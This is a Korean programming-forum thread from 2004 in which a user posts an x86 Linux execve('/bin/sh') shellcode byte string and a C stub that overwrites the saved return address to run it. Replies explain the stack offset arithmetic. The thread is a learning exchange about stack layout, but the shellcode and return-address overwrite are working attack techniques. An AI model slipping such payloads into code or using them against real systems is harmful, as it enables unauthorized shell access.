쉘코드 중에 궁금한점이있는데;
글쓴이: jenix / 작성시간: 일, 2004/05/16 - 7:21오전
char shellc0de[] = "\xeb\x2a" //jmp 0x2a "\x5e" //popl %esi "\x89\x76\x08" //movl %esi,0x8(%esi) "\xc6\x46\x07\x00" //movb $0x0,0x7(%esi) "\xc7\x46\x0c\x00\x00\x00\x00" //movl $0x0,0xc(%esi) "\xb8\x0b\x00\x00\x00" //movl $0xb,%eax "\x89\xf3" //movl %esi,%ebx "\x8d\x4e\x08" //leal 0x8(%esi),%ecx "\x8d\x56\x0c" //leal 0xc(%esi),%edx "\xcd\x80" //int $0x80 "\xb8\x01\x00\x00\x00" //movl $0x1,%eax "\xbb\x00\x00\x00\x00" //movl $0x0,%ebx "\xcd\x80" //int $0x80 "\xe8\xd1\xff\xff\xff" //call -0x2f "/bin/sh"; //.string \"/bin/sh\" void main(){ int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellc0de; }
위와 같은 쉘코드가 있습니다
그런데
ret = (int *)&ret + 2;
의 부분에서 어째서 ret 의주소를 2 만큼 증가시켜 주는것인지
잘 이해가안가는데요 ^^;
고수님들의 가르침 부탁드립니다 _ _*[/code]
Forums:
int 형의 포인터에 값을 더 했으니 거기서 1은 int 형의 크기를 뜻
int 형의 포인터에 값을 더 했으니 거기서 1은 int 형의 크기를 뜻하는걸껍니다
현재 ia32 x86 컴퓨터에서 일반적으로 int 형이 4byte 니
그럼 ret+8byte 이 되겠네요
그러니까ret 라는 포인터 변수가 4바이트죠?[ret변수][s
그러니까
ret 라는 포인터 변수가 4바이트죠?
[ret변수][sfp][eip] 있을떄요.
ret 변수에서 8바이트 뒤가 eip 죠? 여기에..
쉘코드의 주소값을 넣어줘야겠죠 ? 그런데..
int 나 long 이나.. 4바이트 연속이에요. 그러니
4*2 = 8 해서 8바이트 가 되는거죠.
그 위치를 ret 로 포커싱한다음에.. 그기에 쉘코드의 주소를 담아준거에요. 그래서 eip 를 덮어써서 종료될때.. 메인함수가.. 쉘코드를 실행시킨거죠.
힘내세요.
댓글 달기